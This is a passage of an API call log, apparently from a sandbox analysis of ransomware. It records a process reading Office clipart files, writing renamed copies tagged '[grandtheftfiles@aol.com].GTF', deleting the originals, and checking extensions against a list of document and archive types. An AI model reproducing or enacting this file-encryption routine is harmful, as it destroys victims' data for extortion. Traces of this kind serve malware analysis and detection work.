	[0157.455] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.455] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.455] CloseHandle (hObject=0x4c4) returned 1
	[0157.455] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.455] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.459] CloseHandle (hObject=0x4a4) returned 1
	[0157.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1
	[0157.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.460] lstrlenW (lpString=".doc") returned 4
	[0157.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.460] lstrlenW (lpString=".docx") returned 5
	[0157.460] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0157.460] lstrlenW (lpString=".pdf") returned 4
	[0157.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.460] lstrlenW (lpString=".xls") returned 4
	[0157.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.460] lstrlenW (lpString=".xlsx") returned 5
	[0157.460] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0157.460] lstrlenW (lpString=".ppt") returned 4
	[0157.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.460] lstrlenW (lpString=".zip") returned 4
	[0157.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.460] lstrlenW (lpString=".rar") returned 4
	[0157.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.460] lstrlenW (lpString=".bz2") returned 4
	[0157.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.460] lstrlenW (lpString=".7z") returned 3
	[0157.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.461] lstrlenW (lpString=".dbf") returned 4
	[0157.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.461] lstrlenW (lpString=".1cd") returned 4
	[0157.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.461] lstrlenW (lpString=".jpg") returned 4
	[0157.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.461] lstrlenW (lpString=".doc") returned 4
	[0157.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString=".docx") returned 5
	[0157.461] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0157.461] lstrlenW (lpString=".pdf") returned 4
	[0157.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString=".xls") returned 4
	[0157.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.461] lstrlenW (lpString=".xlsx") returned 5
	[0157.461] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0157.461] lstrlenW (lpString=".ppt") returned 4
	[0157.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.461] lstrlenW (lpString=".zip") returned 4
	[0157.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.461] lstrlenW (lpString=".rar") returned 4
	[0157.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString=".bz2") returned 4
	[0157.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString=".7z") returned 3
	[0157.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.461] lstrlenW (lpString=".dbf") returned 4
	[0157.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.462] lstrlenW (lpString=".1cd") returned 4
	[0157.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0157.462] lstrlenW (lpString=".jpg") returned 4
	[0157.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.462] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0157.462] lstrlenW (lpString="J0099164.WMF") returned 12
	[0157.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.462] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=21946) returned 1
	[0157.462] CloseHandle (hObject=0x4a4) returned 1
	[0157.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220
	[0157.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.463] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.463] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.464] GetLastError () returned 0x0
	[0157.464] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x55ba, lpOverlapped=0x0) returned 1
	[0157.466] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x55c0, lpOverlapped=0x0) returned 1
	[0157.467] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.467] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.467] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.468] CloseHandle (hObject=0x4c4) returned 1
	[0157.468] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.468] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.471] CloseHandle (hObject=0x4a4) returned 1
	[0157.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0157.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.472] lstrlenW (lpString=".doc") returned 4
	[0157.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.472] lstrlenW (lpString=".docx") returned 5
	[0157.472] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0157.472] lstrlenW (lpString=".pdf") returned 4
	[0157.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.472] lstrlenW (lpString=".xls") returned 4
	[0157.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.473] lstrlenW (lpString=".xlsx") returned 5
	[0157.473] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0157.473] lstrlenW (lpString=".ppt") returned 4
	[0157.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.473] lstrlenW (lpString=".zip") returned 4
	[0157.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.473] lstrlenW (lpString=".rar") returned 4
	[0157.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString=".bz2") returned 4
	[0157.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString=".7z") returned 3
	[0157.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.473] lstrlenW (lpString=".dbf") returned 4
	[0157.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.473] lstrlenW (lpString=".1cd") returned 4
	[0157.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.473] lstrlenW (lpString=".jpg") returned 4
	[0157.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.473] lstrlenW (lpString=".doc") returned 4
	[0157.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString=".docx") returned 5
	[0157.473] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0157.473] lstrlenW (lpString=".pdf") returned 4
	[0157.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.473] lstrlenW (lpString=".xls") returned 4
	[0157.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.473] lstrlenW (lpString=".xlsx") returned 5
	[0157.473] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0157.474] lstrlenW (lpString=".ppt") returned 4
	[0157.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.474] lstrlenW (lpString=".zip") returned 4
	[0157.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.474] lstrlenW (lpString=".rar") returned 4
	[0157.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.474] lstrlenW (lpString=".bz2") returned 4
	[0157.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.474] lstrlenW (lpString=".7z") returned 3
	[0157.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.474] lstrlenW (lpString=".dbf") returned 4
	[0157.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.474] lstrlenW (lpString=".1cd") returned 4
	[0157.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0157.475] lstrlenW (lpString=".jpg") returned 4
	[0157.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.475] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0157.475] lstrlenW (lpString="J0099165.JPG") returned 12
	[0157.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.476] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=50490) returned 1
	[0157.476] CloseHandle (hObject=0x4a4) returned 1
	[0157.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220
	[0157.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0157.477] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.477] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.477] GetLastError () returned 0x0
	[0157.477] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xc53a, lpOverlapped=0x0) returned 1
	[0157.481] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xc540, lpOverlapped=0x0) returned 1
	[0157.482] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.482] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.482] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.483] CloseHandle (hObject=0x4c4) returned 1
	[0157.483] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.483] SetEndOfFile (hFile=0x4a4) returned 1
	[0157.486] CloseHandle (hObject=0x4a4) returned 1
	[0157.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1
	[0157.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.487] lstrlenW (lpString=".doc") returned 4
	[0157.487] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.487] lstrlenW (lpString=".docx") returned 5
	[0157.487] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0157.487] lstrlenW (lpString=".pdf") returned 4
	[0157.487] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.487] lstrlenW (lpString=".xls") returned 4
	[0157.487] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.487] lstrlenW (lpString=".xlsx") returned 5
	[0157.487] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0157.487] lstrlenW (lpString=".ppt") returned 4
	[0157.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.487] lstrlenW (lpString=".zip") returned 4
	[0157.487] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.487] lstrlenW (lpString=".rar") returned 4
	[0157.487] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.487] lstrlenW (lpString=".bz2") returned 4
	[0157.487] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.487] lstrlenW (lpString=".7z") returned 3
	[0157.487] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.487] lstrlenW (lpString=".dbf") returned 4
	[0157.487] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.487] lstrlenW (lpString=".1cd") returned 4
	[0157.487] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.487] lstrlenW (lpString=".jpg") returned 4
	[0157.487] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.488] lstrlenW (lpString=".doc") returned 4
	[0157.488] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.488] lstrlenW (lpString=".docx") returned 5
	[0157.488] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0157.488] lstrlenW (lpString=".pdf") returned 4
	[0157.488] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.488] lstrlenW (lpString=".xls") returned 4
	[0157.488] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.488] lstrlenW (lpString=".xlsx") returned 5
	[0157.488] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0157.488] lstrlenW (lpString=".ppt") returned 4
	[0157.488] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.488] lstrlenW (lpString=".zip") returned 4
	[0157.488] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.488] lstrlenW (lpString=".rar") returned 4
	[0157.488] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.488] lstrlenW (lpString=".bz2") returned 4
	[0157.488] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.488] lstrlenW (lpString=".7z") returned 3
	[0157.488] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.488] lstrlenW (lpString=".dbf") returned 4
	[0157.488] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.488] lstrlenW (lpString=".1cd") returned 4
	[0157.488] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0157.488] lstrlenW (lpString=".jpg") returned 4
	[0157.488] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.489] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0157.489] lstrlenW (lpString="J0099166.JPG") returned 12
	[0157.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.780] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=64767) returned 1
	[0157.780] CloseHandle (hObject=0x4c4) returned 1
	[0157.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220
	[0157.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.048] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.048] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.049] GetLastError () returned 0x0
	[0158.049] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xfcff, lpOverlapped=0x0) returned 1
	[0158.053] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xfd00, lpOverlapped=0x0) returned 1
